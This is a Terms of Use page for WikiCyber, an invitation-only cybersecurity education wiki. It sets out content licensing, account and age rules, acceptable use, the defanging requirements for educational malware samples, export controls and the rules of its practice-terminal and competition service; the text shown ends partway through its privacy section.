WikiCyber - User contributions [en]

WikiCyber:Terms of Use

2026-10-31T17:12:11Z

AdminUser: Publish reviewed Terms of Use; $10 cap with statutory exceptions

'''Effective Date:''' 31 October 2026  |  '''Last Updated:''' 31 October 2026

These Terms of Use (these "'''Terms'''") constitute a legally binding agreement between you and the Operator (as defined below) governing your access to and use of the WikiCyber website located at https://wikicyber.org, together with its pages, content, and related services (collectively, the "'''Site'''").

'''PLEASE READ THESE TERMS, INCLUDING THE LIABILITY LIMITS IN SECTION 11 AND THE INDIVIDUAL ARBITRATION AGREEMENT IN SECTIONS 15.12–15.15. ARBITRATION REPLACES A COURT TRIAL FOR COVERED DISPUTES; YOU MAY OPT OUT WITHIN 30 DAYS AS EXPLAINED IN SECTION 15.15.''' You accept these Terms by checking an acceptance box or taking another affirmative action that expressly states that you agree to them after being given a conspicuous link and an opportunity to read them. Mere browsing does not, by itself, constitute acceptance of the arbitration agreement or other contractual waivers. Account creation, contributions, and Terminal Service access require acceptance. Publicly licensed Content remains available under its applicable license independently of acceptance. You must be at least 13 to use the Site; account holders must meet Section 3.9, including its parental-consent requirements where applicable.

== 1. Introduction and Definitions ==

'''1.1 The Operator.''' WikiCyber is a free educational project operated by Shore-Roger Enterprises LLC, a California limited liability company (the "'''Operator'''", "'''we'''", "'''us'''", or "'''our'''"). The Site is an encyclopedia-style reference of cybersecurity guides, tutorials, and articles written by contributors and is made available free of charge. This description does not represent that the Operator is a nonprofit or tax-exempt organization.

'''1.2 Definitions.''' In these Terms, unless the context requires otherwise:
:"'''Author'''" means a natural person to whom the Operator has issued an account on the Site and who creates, edits, or submits Content.
:"'''Content'''" means all text, code, images, data, and other material made available on the Site, including Contributions.
:"'''Contribution'''" means any Content that an Author creates, edits, or submits to the Site, whether or not it has been published, including articles, drafts, sandbox pages, talk-page comments, and edit summaries. Private communications, personal account information, terminal activity, and competition submissions are not Contributions merely because they are sent to the Operator; Sections 6.6 and 10 govern those materials.
:"'''License'''" means the [https://creativecommons.org/licenses/by-sa/4.0/legalcode Creative Commons Attribution-ShareAlike 4.0 International Public License] (CC BY-SA 4.0).
:"'''Supplemental Policies'''" means the [[WikiCyber:Privacy policy|Privacy policy]] and the [[WikiCyber:General disclaimer|General disclaimer]], to the extent actually published, made available before acceptance, and applicable to the service used, subject to Sections 14 and 15.6.
:"'''Terminal Service'''" means the optional hands-on practice and competition environments that the Operator may offer through the Site, in which you are given a temporary virtual machine that you operate through a browser-based terminal, together with the booking, scoring, and results features that accompany them.
:"'''Competition'''" means a scheduled, scored event run through the Terminal Service, and "'''Competition Account'''" means an account issued only to take part in one or more Competitions.
:"'''User'''" or "'''you'''" means any person or entity that accesses or uses the Site, including any Author.
:"'''WikiCyber Parties'''" means the Operator and its owners, officers, administrators, agents, volunteers, and Authors.

'''1.3 Interpretation.''' Headings are for convenience only and do not affect the interpretation of these Terms. The word "including" means "including without limitation." References to a statute or regulation are to that statute or regulation as amended or replaced from time to time.

'''1.4 Availability of the Site.''' The Operator may modify, suspend, restrict, or discontinue the Site, or any part of it, at any time, subject to applicable law and the protections in Sections 11.4 and 14.

== 2. Content License and Contributions ==

=== 2.1 License to Content ===
'''2.1.1''' Unless a page or item expressly states otherwise, publicly accessible editorial Content is made available to the public, free of charge, under the License. Subject to and in accordance with the License, you may copy, redistribute, and adapt the Content for any purpose, including commercial use, provided that you comply with the License, including the following conditions:
:(a) '''Attribution.''' You must give appropriate credit to WikiCyber and its Authors, provide a link to the License, and indicate whether changes were made. A hyperlink or URL to the page you used, or to its history page, ordinarily identifies the Authors; retain other attribution, copyright, license, and disclaimer notices to the extent required by the License.
:(b) '''ShareAlike.''' If you share adapted material, you must apply the License or a permitted compatible license as required by the License. There is no obligation to publish a private adaptation.

'''2.1.2''' Private sandbox material, account data, terminal recordings, competition answers, unreleased exercise materials, scoring configurations, and third-party software are not offered under the License merely because they are stored on or accessible through the Site. Their applicable permissions or licenses control. Section 2.1.1 is a summary provided for convenience and is not a substitute for the License. In the event of any conflict between these Terms and the License, the License governs the rights it grants. These Terms do not impose additional restrictions on exercise of licensed rights, remove copyright exceptions, or revoke licenses previously granted. Service access restrictions do not change those rights.

=== 2.2 Contributions ===
By creating, editing, or submitting a Contribution, an Author represents, warrants, and agrees that:
:(a) the Author licenses a Contribution to the public under the License when posting it to a publicly accessible page or authorizing its publication through the review process, and acknowledges that the license is '''irrevocable''' under its terms. Draft-namespace pages, talk pages, and public edit summaries are public even before editorial approval. Material stored solely in an access-restricted sandbox is not publicly licensed by storage alone. The Author grants the Operator a nonexclusive, worldwide, royalty-free permission to store, reproduce, back up, format, and allow authorized reviewers to review that private material solely to operate the requested service; this does not authorize public disclosure before the Author authorizes publication, except as required by law;
:(b) the Contribution is the Author's original work, or the Author otherwise holds all rights necessary to license it under the License, and the Contribution does not infringe, misappropriate, or violate the copyright, trademark, privacy, or other rights of any third party;
:(c) any third-party material included in the Contribution is identified as such and is available under a license compatible with the License;
:(d) Contributions that are published on the Site, together with their edit histories and the Author's username, may remain publicly visible, including in edit histories and third-party copies, and may be edited, reorganized, moved, or removed by the Operator's administrators at any time;
:(e) subject to the License, the Author retains such copyright as the Author holds in the Contribution, and no Contribution creates any obligation on the part of the Operator to publish, retain, or credit it other than as the License requires; and
:(f) the Contribution complies with Section 6.

=== 2.3 Matters Not Licensed ===
:(a) Third-party material that is marked with its own license, copyright notice, or terms remains subject to that license, notice, or terms.
:(b) The names "WikiCyber" and "Shore-Roger Enterprises LLC," and all associated logos, are trademarks or trade names of their respective owners. The License does not grant any trademark rights, and no such rights are granted by these Terms.

=== 2.4 Linking to the Site ===
You may link to publicly accessible pages for lawful purposes, including attribution, commentary, and criticism. Do not misrepresent sponsorship, endorsement, or affiliation or misuse trademarks. Nothing here limits fair use, nominative use, or rights granted by the License. Linking does not authorize access to private pages or circumvention of access controls.

== 3. Authors and Accounts ==

'''3.1 Invitation only.''' Author accounts are issued by invitation only. Competition Accounts may instead be issued through an approved competition registration window under Section 6.6.6. Authors are vetted before being invited and are expected to have a notable background in cybersecurity, whether as a cybersecurity professional or through a history of participation in capture-the-flag (CTF) competitions and cybersecurity camps. An invitation, and the holding of an account, are subject to the minimum-age requirements of Section 3.9, regardless of the background on which the Author was vetted.

'''3.2 Vetting is not a guarantee.''' The vetting of an Author does not constitute a representation or warranty by the Operator that any Author's Content is accurate, complete, current, or endorsed by the Operator. Content reflects the knowledge and opinions of the individual Authors.

'''3.3 Account security.''' Each Author is solely responsible for maintaining the confidentiality of their account credentials, for activity they authorize or that results from their failure to take reasonable care of their credentials, and for not permitting any other person to use their account. An Author is the sole authorized user of their account. An Author must notify the Operator promptly upon becoming aware of, or reasonably suspecting, any unauthorized use of their account or compromise of their credentials.

'''3.4 Editorial control and review.''' New or changed Content may be held in a draft or review queue before publication. The Operator may edit, move, decline to publish, or remove any Content at any time and for any reason, in its sole discretion.

'''3.5 No employment or agency.''' Unless the Operator and an Author have agreed otherwise in a signed writing, Authors contribute voluntarily and without compensation, and nothing in these Terms creates an employment, partnership, joint venture, or agency relationship between the Operator and any Author.

'''3.6 One account; accurate information.''' Unless the Operator agrees otherwise in writing, each Author may hold only one account. The Operator may deactivate any additional or duplicate account. An Author must provide accurate information to the Operator (including the email address associated with the account) and must keep that information current. Accounts are personal to the Author and may not be shared, sold, lent, or transferred.

'''3.7 Authors' representations.''' By accepting an account, an Author represents and warrants that: (a) the Author is not circumventing a current suspension or removal, and has disclosed any prior suspension or removal when seeking renewed access; (b) the Author has authority to accept these Terms, subject to the parental-consent procedure and nonwaivable rights in Section 3.9, and doing so does not breach any other agreement or obligation by which the Author is bound (including any agreement with an employer, school, or competition organizer concerning ownership of, or confidentiality of, work product); (c) every statement the Author makes to the Operator in connection with the Author's invitation or vetting is true; and (d) the Author satisfies the eligibility requirements of Section 6.5 (Export Controls and Sanctions) and will promptly notify the Operator if that ceases to be true.

'''3.8 Contributing on behalf of an organization.''' If an Author contributes to the Site in the course of employment or on behalf of a school, team, company, or other entity (an "'''Organization'''"), the Author represents that the Author is authorized to accept these Terms and to license the Contribution under the License on the Organization's behalf, and that the Organization agrees to be bound by these Terms. In that case, "you" refers to both the Author and the Organization, and the Organization is responsible to the Operator for any breach of these Terms by the Author in connection with that Contribution. An Author who is not so authorized must not submit the Contribution.

'''3.9 Minimum age.'''
:(a) '''Use of the Site.''' You must be at least 13 years old to access or use the Site. If you are under 13, you must not use the Site, and you must not create an account, submit any Contribution, or provide any personal information to the Operator. The Site is not directed to children under 13, and the Operator does not knowingly collect personal information from children under 13.
:(b) '''Author accounts.''' You must be at least 18 years old (or the age of majority in your jurisdiction, if higher) to hold an Author account, except that a person who is at least 13 but has not reached that required age may hold an Author account only if the Operator has received, directly from the person's parent or legal guardian and before the account is issued, written consent to the account and to these Terms, in a form the Operator accepts, together with enough information for the Operator to verify that the consent is genuine. The Operator may refuse to issue an account to any minor, and a vetting history or an invitation does not oblige the Operator to do so. The parent or legal guardian must separately accept these Terms in their own capacity and agree to supervise the minor's use; neither consent nor these Terms waives rights that a minor or guardian cannot lawfully waive. The parent or legal guardian may withdraw consent at any time by written notice to the Operator, upon which the Operator will deactivate the account.
:(c) '''Representation and enforcement.''' By accessing the Site or accepting an account, you represent that you meet the requirements of this Section 3.9. An Author must tell the Operator promptly if they are not, or cease to be, eligible. If the Operator learns that a person under 13 has used the Site or provided personal information, or that an account was issued in breach of this Section, the Operator may immediately deactivate the account and will take reasonable steps to delete the personal information it holds about that person, subject to any legal obligation to retain it. The Operator will handle published material and associated personal information consistently with applicable child-privacy and deletion requirements; the License is not a basis for refusing a legally required removal.

'''3.10 Inactive accounts.'''
:(a) '''Inactivity.''' An Author account is "inactive" if, for a continuous period of twelve (12) months, the account has neither been used to log in to the Site nor been used to make an edit or other contribution, as shown by the Operator's records.
:(b) '''Deactivation.''' The Operator may deactivate an inactive account at any time. Before doing so, the Operator will make a reasonable effort to send a notice to the email address associated with the account, at least thirty (30) days in advance, but the Operator is not required to do so if the account has no working email address, and a failure of delivery does not prevent deactivation. Deactivation removes the Author's ability to log in and may include removing the Author's permissions, any reviewer or other role, and any open assignments.
:(c) '''Deletion of personal data.''' After deactivation, the Operator may delete the email address and other non-public personal information associated with the account. Because of the License, the public edit history, and the need to attribute Authors, the Author's username, and Contributions that were already published, may remain on the Site, and the Operator may rename the account to a neutral name or remove the Contributions in its discretion.
:(d) '''Reactivation.''' A former Author whose account was deactivated under this Section may ask the Operator to reactivate it. The Operator is not obliged to do so, and may require the Author to be re-vetted and to satisfy Sections 3.7, 3.9, and 6.5 again before granting the request.
:(e) '''Security.''' The Operator may also deactivate, suspend, or limit any account at any time where it reasonably suspects that the account is compromised or at risk of misuse, in accordance with Section 7.

== 4. Educational Use Only; No Professional Advice ==

'''4.1 Educational purpose.''' '''WikiCyber is not a source of expert help.''' The Site is a reference work, similar in style to an encyclopedia, intended solely for general educational purposes. Nothing on the Site constitutes professional, legal, security-consulting, or other individualized advice, and no attorney-client, consultant-client, or other professional relationship is created by your use of the Site.

'''4.2 No assurance of accuracy.''' Cybersecurity guidance is dependent on context, and the techniques described on the Site may alter, disable, or damage systems and data. Content may be incomplete, out of date, or incorrect. Before applying any Content, you should practice in an isolated laboratory or virtual machine, maintain backups, and verify the information against authoritative sources.

'''4.3 Assumption of risk and responsibility.''' You use the Site and the Content '''entirely at your own risk'''. You are solely responsible for (a) obtaining all authorizations necessary before testing, configuring, or otherwise acting upon any system, network, or data, and (b) ensuring that your use of the Content complies with all applicable laws, regulations, and agreements.

== 5. No Affiliation; Third-Party Marks ==

'''5.1 Wikipedia and the Wikimedia Foundation.''' WikiCyber is '''not affiliated with, endorsed by, sponsored by, or representative of Wikipedia or the Wikimedia Foundation''', and does not claim otherwise. The Site runs on MediaWiki, free and open-source software that is used by many unrelated organizations, and the use of that software implies no affiliation of any kind.

'''5.2 Other organizations.''' WikiCyber is not affiliated with, endorsed by, or sponsored by CyberPatriot, the Air & Space Forces Association, Cisco Systems, Microsoft Corporation, or any other organization, product, service, or competition that may be mentioned on the Site.

'''5.3 Third-party marks.''' All third-party names, trademarks, and logos are the property of their respective owners and are used for identification and educational reference only.

== 6. Acceptable Use ==

The following rules govern use of the service and submission of material. They do not add conditions to the License or prohibit lawful criticism, consumer reviews, reports to regulators, or other legally protected activity. Cybersecurity knowledge may be used either to defend systems or to attack them. You are fully responsible for your own conduct on and in connection with the Site. You may use the Site only for lawful and ethical purposes, in compliance with all applicable laws and regulations, with this Section 6, and with any editorial policies, help pages, or reasonable instructions the Operator publishes on the Site from time to time. If you use any third-party service in connection with the Site, you must also comply with that service's terms.

'''Prohibited uses of the Site and its Content.''' You shall not use the Site, or any information obtained from it, to:
:(a) access, probe, attack, disrupt, or damage any computer system, network, account, or data '''without the explicit permission of its owner''';
:(b) commit, or assist any person in committing, any crime or other unlawful act, including fraud, identity theft, stalking, unauthorized surveillance, or theft of data;
:(c) create, host, or distribute malware or other harmful code for malicious use, or post, embed, upload, host, or link to any Malicious Code (as defined in Section 6.4) in any form other than an Educational Sample that complies with Section 6.4.

'''Prohibited conduct on the Site.''' You shall not:
:(d) attack, overload, abusively scrape, or attempt to circumvent the security or access controls of the Site;
:(e) post the private information, credentials, or confidential material of any other person without that person's consent;
:(f) post Content that infringes any person's intellectual property rights, or that is harassing, threatening, intimidating, stalking, obscene, hateful, deceptive, or spam;
:(g) impersonate any person or misrepresent your qualifications or affiliation;
:(h) post answers, keys, or non-public materials from an ongoing competition where the rules of that competition prohibit sharing them;
:(i) discriminate against, or harass, any person on the basis of race, color, national origin, religion, sex, gender identity, sexual orientation, disability, medical condition, marital status, age, or any other characteristic protected by applicable law;
:(j) use or attempt to use another person's account, or allow another person to use yours;
:(k) interfere with, disrupt, damage, disable, or overburden the Site or its servers or networks, or impair any other person's use of the Site, including by abusing the review, request, or notification features;
:(l) access or attempt to access any page, feature, account, or data that you are not authorized to access (including another Author's private sandbox pages), or tamper with, probe, or bypass any security measure, permission, or protection of the Site;
:(m) use robots, crawlers, scrapers, or other automated means to access the Site except in a way that respects the Site's robots.txt file and any published rate limits or API guidelines, it being understood that nothing in this paragraph restricts your rights in the Content under the License;
:(n) post Content that you know to be false or misleading, that contains viruses, corrupted data, or other harmful, disruptive, or destructive files or code (other than Educational Samples that comply with Section 6.4), or that contains political campaigning, advertising, or solicitation; or
:(o) engage in, encourage, or promote any activity that violates these Terms or the rights of the Operator or any third party.

=== 6.1 No Promotional Links ===
'''6.1.1''' '''Promotional links are prohibited''' on articles, drafts, and all other pages of the Site, except as provided in Section 6.1.2. A "promotional link" includes any link to your own or any other person's website, blog, video channel, store, newsletter, or social media profile; any donation, sponsorship, or "buy me a coffee" page; and any affiliate, referral, or advertising link.

'''6.1.2''' Promotional links are permitted '''only on an Author's own user profile page''' (the page titled "User:" followed by the Author's username). Promotional links are '''not''' permitted on articles, on drafts or sandbox pages submitted for review, on talk pages, or on any other page. An Author must remove all promotional links from a draft before submitting it for review.

'''6.1.3''' A link that serves as a genuine source for a statement of fact, cited in accordance with the Site's sourcing policy (for example, a link to official documentation), is not a promotional link. However, the Operator's reviewers may remove any link whose primary purpose is promotional, and the Operator may remove promotional links and content at any time without notice. Repeated violations of this Section 6.1 may result in the loss of Author access under Section 7.

=== 6.2 Reasonable File Sizes ===
Whenever the Site permits the upload or embedding of images or other files, an Author must keep each file reasonably sized for its purpose. For example, an image that shows only a small diagram or arrow must not be uploaded as a multi-megapixel or 4K image. An Author must resize, crop, or compress files before uploading them, and must not upload files that are larger than needed to serve their educational purpose. The Operator may set maximum file sizes and dimensions, and may resize, replace, or remove any file that is unreasonably large, without notice.

=== 6.3 Responsible Disclosure ===
If you discover a security vulnerability affecting the Site, you are requested to report it promptly to the contact address in Section 13 and not to exploit it, disclose it publicly before the Operator has had a reasonable opportunity to remediate it, or access data that is not your own.

=== 6.4 Malicious Code and Educational Samples ===
'''6.4.1 Rule and definition.''' "'''Malicious Code'''" means any software, script, macro, document, shellcode, payload, or other code that is designed or configured for malicious damage, disruption, or unauthorized access to a computer system, network, account, or data, including malware, ransomware, spyware, malicious backdoors, worms, credential stealers, and working exploit payloads. Ordinary administrative commands and defensive tools are not Malicious Code solely because they could be misused. The public-posting restrictions do not prohibit tools expressly supplied or authorized for an isolated Terminal Service exercise within its stated scope; they do not authorize publishing or exporting those tools. You may not post, embed, upload, host, or link to Malicious Code on the Site, except as an Educational Sample that complies with every requirement of this Section 6.4. Section 6(c) and this Section 6.4 are to be read together: nothing in this Section 6.4 permits any use that Section 6 otherwise prohibits.

'''6.4.2 Educational Sample.''' An "'''Educational Sample'''" is an excerpt or illustration of Malicious Code that satisfies all of the following:
:(a) it is included solely to explain how an attack works or to help readers detect, analyze, mitigate, or defend against it;
:(b) it is clearly labeled, immediately above the sample, with a visible notice stating that it is a defanged educational sample;
:(c) it is Defanged as required by Section 6.4.3;
:(d) it is no longer than is reasonably necessary for its educational purpose, and is accompanied by explanatory text, including how the technique can be detected or prevented; and
:(e) it does not exploit a vulnerability for which no vendor fix, patch, or mitigation has been publicly released.

'''6.4.3 Defanged.''' Code is "'''Defanged'''" only if all of the following are true:
:(a) it appears solely as human-readable text inline in the page (for example, in a code block), and not as a file, archive, attachment, download, or embedded object;
:(b) it is not compiled, packed, obfuscated, or encoded (for example, as an executable, library, installer, script bundle, or an encoded blob such as Base64 or hexadecimal data), and it does not contain raw shellcode or any other byte sequence that would run, or decode into something that would run, if copied;
:(c) it is incomplete in a way that prevents it from working as written against a real system, because it omits at least one element essential to its operation (such as a functional payload, a final stage, a working key, or target-specific values), and no reader can make it function without writing that element themselves; and
:(d) every network address, hostname, URL, credential, and other target or infrastructure value in it is an inert placeholder, such as the loopback address 127.0.0.1 (or ::1), an address in the documentation ranges 192.0.2.0/24, 198.51.100.0/24, or 203.0.113.0/24 (or 2001:db8::/32), a reserved name such as example.com, example.net, or example.org, or a name ending in .test, .example, or .invalid, and none identifies a real person, organization, system, or account.

'''6.4.4 No hosting or linking.''' Public wiki pages and public downloads must not host executable, compiled, or otherwise runnable Malicious Code, and you may not upload or attempt to upload any such file. You may not post a link to any page, repository, or file from which live malware or a working exploit can be downloaded. Links to published analysis, advisories, and documentation (for example, a vendor advisory or a CVE record) that do not themselves distribute working Malicious Code are permitted. An indicator of compromise taken from real malware (for example, an address or domain) may be shown only in defanged notation (for example, "hxxp" for "http" and "[.]" for ".") and with a cited source.

'''6.4.5 Review, removal, and responsibility.''' The Operator and its reviewers determine in their sole discretion whether Content is an Educational Sample, and may reject, redact, or remove any Content that does not clearly meet this Section 6.4, without notice. Labeling Content as an educational sample does not make it one. You must not complete, restore, recompile, decode, or otherwise re-weaponize any Educational Sample, and you may run or test such material only on systems that you own or are expressly authorized in writing to test, in accordance with Section 6(a). Compliance with this Section 6.4 is a minimum requirement and does not make any use lawful. You remain solely responsible for your own conduct.

=== 6.5 Export Controls and Sanctions ===
'''6.5.1 Compliance with export laws.''' The Site and its Content include technical information about computer security, cryptography, and attack and defense techniques that may be subject to United States export control and sanctions laws, including the Export Administration Regulations (15 C.F.R. Parts 730–774) and the economic sanctions regulations administered by the U.S. Department of the Treasury's Office of Foreign Assets Control (together, "'''Export Laws'''"). You may not access, use, download, or export, re-export, or transfer the Site or any Content in violation of Export Laws or any other applicable export, import, or sanctions law. You are solely responsible for determining whether your own access to, use of, or transfer of Content is lawful where you are located and under the laws that apply to you.

'''6.5.2 Restricted transactions.''' You must not use an account, receive a service, or submit or transfer material where that particular transaction is prohibited by applicable Export Laws, including applicable sanctions, restricted-party rules, and ownership rules. Restrictions depend on the person, destination, material, and transaction; an exemption, exception, or license may apply. A country's appearance in a sanctions program, or a person's appearance on a restricted-party list, does not by itself mean every transaction is prohibited. The Operator may request information reasonably needed to assess eligibility and may withhold a restricted service pending verification. You must not misrepresent your identity or location to evade a restriction.

'''6.5.3 Authors and technical contributions.''' An account or Contribution must not be provided or accepted when doing so is prohibited under Section 6.5.2. The Operator retains responsibility for its own compliance obligations; a user representation does not replace them. The Operator may decline, suspend, or revoke any account, and may remove any Contribution, where the Operator believes, in its sole discretion, that holding the account or accepting the Contribution would or might violate Export Laws. An Author must not use a proxy, VPN, third-party account, or any other means to conceal their location or identity in order to circumvent this Section 6.5.

'''6.5.4 No representation of exportability.''' The Operator makes no representation that the Content is appropriate or available for use or export in any location, and does not provide an export classification for any Content. The Operator may restrict or block access to the Site, or to any part of it, from any location as it considers necessary to comply with law, without notice or liability.

=== 6.6 Terminal Service and Competitions ===
'''6.6.1 Optional; may be limited.''' The Terminal Service is optional, is offered only to the accounts and groups the Operator chooses, and may be limited, queued, rescheduled, paused, or withdrawn at any time. Practice sessions are limited in number, length, and resources; a Competition may be limited to a booked time slot, a fixed number of attempts, and a fixed length of play. Access depends on a confirmed email address and on your acceptance of the version of these Terms that is shown to you.

'''6.6.2 Monitored, temporary environment.''' Your virtual machine is provided only for the assigned exercise. Session access can end, and working data can be lost, without warning; no backup, recovery, or continued access is promised. Ending a session does not necessarily erase its disk, logs, evidence, or backups immediately. Collection and retention are described in Sections 10.6 and 10.7. Do not enter real passwords, secrets, personal or financial information, or third-party account credentials. Use only the exercise credentials supplied for the exercise. Before starting, you must receive notice of and affirmatively agree to the disclosed console recording and environment inspection. Decline the Terminal Service if you do not agree. This agreement does not authorize monitoring beyond what applicable law permits.

'''6.6.3 Permitted use.''' You may use the Terminal Service only to carry out the exercise presented to you, against the systems the exercise provides. In addition to Section 6, you may not: (a) attempt to attack, scan, probe, or gain access to the host machine, the hypervisor, the network, other participants' environments, the Operator's other systems, or any third-party system, or attempt to escape or weaken the isolation of your environment; (b) use the environment for cryptocurrency mining, for relaying or generating traffic, for sending spam, for hosting services, or for any other purpose unrelated to the exercise; (c) attempt to exhaust or evade the limits on time, resources, attempts, or traffic, including by opening several sessions, using several accounts, or sharing an account; (d) interfere with the recording, scoring, or review of an attempt; or (e) use any network access that a practice session may provide for anything except the purpose the Operator has stated for it. Competitions never have outside network access. The Operator may end any session at any time, and may do so without warning if it believes this Section has been breached or the host is at risk.

'''6.6.4 Competition integrity.''' In a Competition you must work alone and without help unless the rules of that Competition expressly allow otherwise. You may not receive, give, buy, sell, or publish answers, flags, solutions, hints, or the contents of an environment, before, during, or after a Competition, other than as the rules permit; you may not use another person's account or let another person use yours; and you may not use automated tools, scripts, or artificial-intelligence assistance beyond what the rules allow. The Operator may disqualify an attempt, remove a score, or exclude a person from Competitions where it reasonably determines that a rule was breached. A participant may request review under Section 7.6. These rules do not restrict lawful reports of misconduct, protected disclosures, or rights independently granted by an applicable open license.

'''6.6.5 Booking, attempts, and results.''' Booking a Competition slot does not guarantee that the Competition will take place; the Operator may cancel or reschedule a slot or a Competition. A booked slot that is not used within the time allowed is forfeited. An attempt starts when the environment starts and its clock keeps running if you disconnect or your connection fails. An attempt that fails to start because of a fault on the Operator's side may be refunded as an attempt at the Operator's discretion, and an attempt that fails for any other reason counts. Scores are set automatically by the Operator's scoring system and are provisional. Results are normally hidden from participants until the Operator has reviewed them and published them, and the Operator may correct errors, invalidate compromised attempts, and revise rankings. Administrative decisions are subject to Section 7.6 and do not remove legal remedies. Where results are published, a leaderboard may show your Site username and score, as described in Section 10.7.

'''6.6.6 Competition Accounts.''' A Competition Account may be used only to take part in Competitions, does not carry any right to edit the Site, and may be deactivated after the Competition for which it was issued ends, unless the holder has meanwhile become an Author. The rules in Sections 3.3, 3.6, 3.7, 3.9, 3.10, and 13.4 and Section 6.5 apply to Competition Accounts as they apply to Author accounts, and you may hold only one account.

'''6.6.7 Exercises are for education only.''' The exercises and the techniques shown in them are for learning in the environment provided. Sections 4 and 6(a) apply: you must not apply them to a system that you do not own or are not authorized in writing to test.

'''6.6.8 Event rules.''' Before booking or entry, the Operator will make available the applicable eligibility, dates and time zone, permitted assistance and tools, attempt and time limits, start and missed-slot rules, scoring and tie-breaking method, any overtime penalties, publication arrangements, and review procedure. Hidden scoring details and answers need not be disclosed. There is no entry fee or prize unless separately announced in rules accepted before entry; any such event requires separate applicable terms. Material changes after entry will be communicated to affected participants, with an opportunity to withdraw; the Operator may make necessary security or integrity changes and explain their effect on attempts and results. No Competition represents an accredited examination or professional certification.

== 7. Enforcement and Termination ==

'''7.1 Remedies.''' If the Operator reasonably believes you have violated these Terms or that action is necessary to protect the service or others, the Operator may, at any time and without prior notice: (a) remove, edit, or restrict access to any Content; (b) suspend (temporarily or indefinitely) or permanently revoke your account or your access to the Site; (c) cooperate with law enforcement and other governmental authorities; and (d) take any other action permitted by law or in equity.

'''7.2 Unlawful use.''' '''Use of the Site to gain unauthorized access to any system, to commit any crime, or for any other unlawful purpose is prohibited and may result in legal action.'''

'''7.3 Legal process.''' The Operator may disclose information about you or your use of the Site where it believes in good faith that disclosure is required by law, legal process, or governmental request, or is necessary to protect the rights, property, or safety of the Operator, the Site, or others.

'''7.4 Termination by you; effect of termination.''' You may stop using the Site at any time. Upon suspension or termination of your access for any reason, your right to use the Site ceases immediately. Termination does not revoke, and does not entitle you to the removal of, any license granted or Contribution made under Section 2.

'''7.5 No liability.''' Any limitation of liability for enforcement action is subject to Section 11, including its exceptions. This Section does not excuse unlawful action.

'''7.6 Review requests.''' You may request review of an account restriction, disqualification, or scoring decision by emailing Section 13.1 with your username, the affected decision or attempt, and the reasons for your request, ordinarily within 30 days after notice. The Operator will consider timely requests in good faith and communicate the outcome, using a reviewer not involved in the original decision where practicable. Security-sensitive evidence, personal information about others, and hidden scoring details need not be disclosed. Restrictions may remain during review. This process does not shorten a legal limitation period or prevent you from exercising legal rights.

== 8. Copyright Complaints ==

'''8.1 Notice of claimed infringement.''' The Operator respects intellectual property rights and responds to notices of alleged copyright infringement in accordance with applicable law, including Title 17, United States Code, Section 512. If you believe that Content on the Site infringes a copyright that you own or control, you may submit a written notice to the contact address in Section 13 that includes:
:(a) your physical or electronic signature, or that of a person authorized to act on behalf of the copyright owner;
:(b) identification of the copyrighted work claimed to have been infringed;
:(c) identification of the material claimed to be infringing, with the URL of the page on which it appears, in sufficient detail to permit the Operator to locate it;
:(d) your name, mailing address, telephone number, and email address;
:(e) a statement that you have a good-faith belief that the use of the material in the manner complained of is not authorized by the copyright owner, its agent, or the law; and
:(f) a statement that the information in the notice is accurate and, '''under penalty of perjury''', that you are authorized to act on behalf of the owner of the exclusive right allegedly infringed.

'''8.2 Action upon notice.''' Upon receipt of a notice that substantially complies with Section 8.1, the Operator will act expeditiously to remove or disable access to the identified material as required by applicable law and will take reasonable steps promptly to notify the affected Author. Notices and counter-notices, including contact details, may be shared with the other party as necessary to administer this process.

'''8.3 Counter-notification.''' An Author whose Content has been removed pursuant to Section 8.2 may submit a written counter-notice to the contact address in Section 13 that includes: (a) the Author's physical or electronic signature; (b) identification of the material removed and the location at which it appeared before removal; (c) a statement, '''under penalty of perjury''', that the Author has a good-faith belief that the material was removed as a result of mistake or misidentification; and (d) the Author's name, address, and telephone number, and a statement that the Author consents to the jurisdiction of the federal district court for the judicial district in which the Author's address is located (or, if the address is outside the United States, any judicial district in which the Operator may be found) and will accept service of process from the person who submitted the original notice or their agent. For the statutory counter-notice process, the Operator will promptly forward a compliant counter-notice to the complaining party and inform that party that the material will be restored in 10 business days. The Operator will restore access no earlier than 10 and no later than 14 business days after receipt unless its designated agent first receives notice that the complaining party has filed an action seeking a court order restraining the allegedly infringing activity. Material may remain unavailable for an independent, lawful reason under these Terms, which will be communicated to the Author.

'''8.4 Repeat infringers.''' In appropriate circumstances, the Operator will suspend or terminate the accounts of Authors who are repeat infringers of copyright.

'''8.5 Misrepresentation.''' You may be held liable for damages, including costs and attorneys' fees, if you knowingly and materially misrepresent that material is infringing or was removed by mistake or misidentification.

== 9. Links and Third-Party Content ==

The Site may contain links to, or reproduce content from, websites, services, and materials that are owned or operated by third parties. Such materials include links to external web pages, tools, repositories, videos, downloads (including practice images and files), and any other service mentioned on the Site (collectively, "'''Third-Party Materials'''"). Third parties are responsible for their own materials and services. Except for materials the Operator itself creates or expressly adopts, the Operator does not control, update, or endorse Third-Party Materials, makes no guarantee that they are accurate, complete, current, safe, or lawful, and assumes no responsibility for their content, availability, security, or privacy practices. Downloaded files in particular may contain malware or be unsuitable for your systems; you should open them only in an isolated environment. Your correspondence or dealings with, or participation in promotions of, any third party found on or through the Site are solely between you and that third party. You decide whether to access or use Third-Party Materials, you do so at your own risk, and your use is governed by the terms and policies of that third party.

== 10. Privacy ==

'''10.1 Information collected.''' The Operator collects and uses limited information, such as usernames, email addresses associated with accounts, and server logs, for the purposes of operating, maintaining, and securing the Site. If you use the Terminal Service, the Operator also collects and uses the additional information described in Sections 10.6 and 10.7.

'''10.2 Public nature of Contributions.''' All Contributions that are published on the Site, including the Author's username and edit history, are public and are not confidential.

'''10.3 Service providers.''' Some of the services that operate the Site, including hosting infrastructure, are provided by Akamai Technologies, Inc. (Linode). Server logs and other data described in Section 10.1 may be stored and processed on that provider's infrastructure. The Terminal Service runs on a separate server hosted by DigitalOcean, LLC, and the data described in Section 10.6 is stored and processed there. The Operator also keeps encrypted backups of that server's state in a private code repository that it operates itself, and a second, off-site copy of its security audit records on the Linode server. Email delivery also involves the Operator's email service provider, currently Google Workspace. The Operator does not sell personal information. The Privacy policy must identify applicable processing purposes, service-provider categories, and retention practices; naming providers here does not limit legally required disclosures.

'''10.4 Children.''' The Site is not intended for, and the Operator does not knowingly collect personal information from, children under 13 (see Section 3.9). A parent or legal guardian who believes that a child under 13 has provided personal information to the Operator may contact the Operator at the address in Section 13.1, and the Operator will promptly investigate and delete information as required by applicable law, retaining it only where legally permitted and necessary.

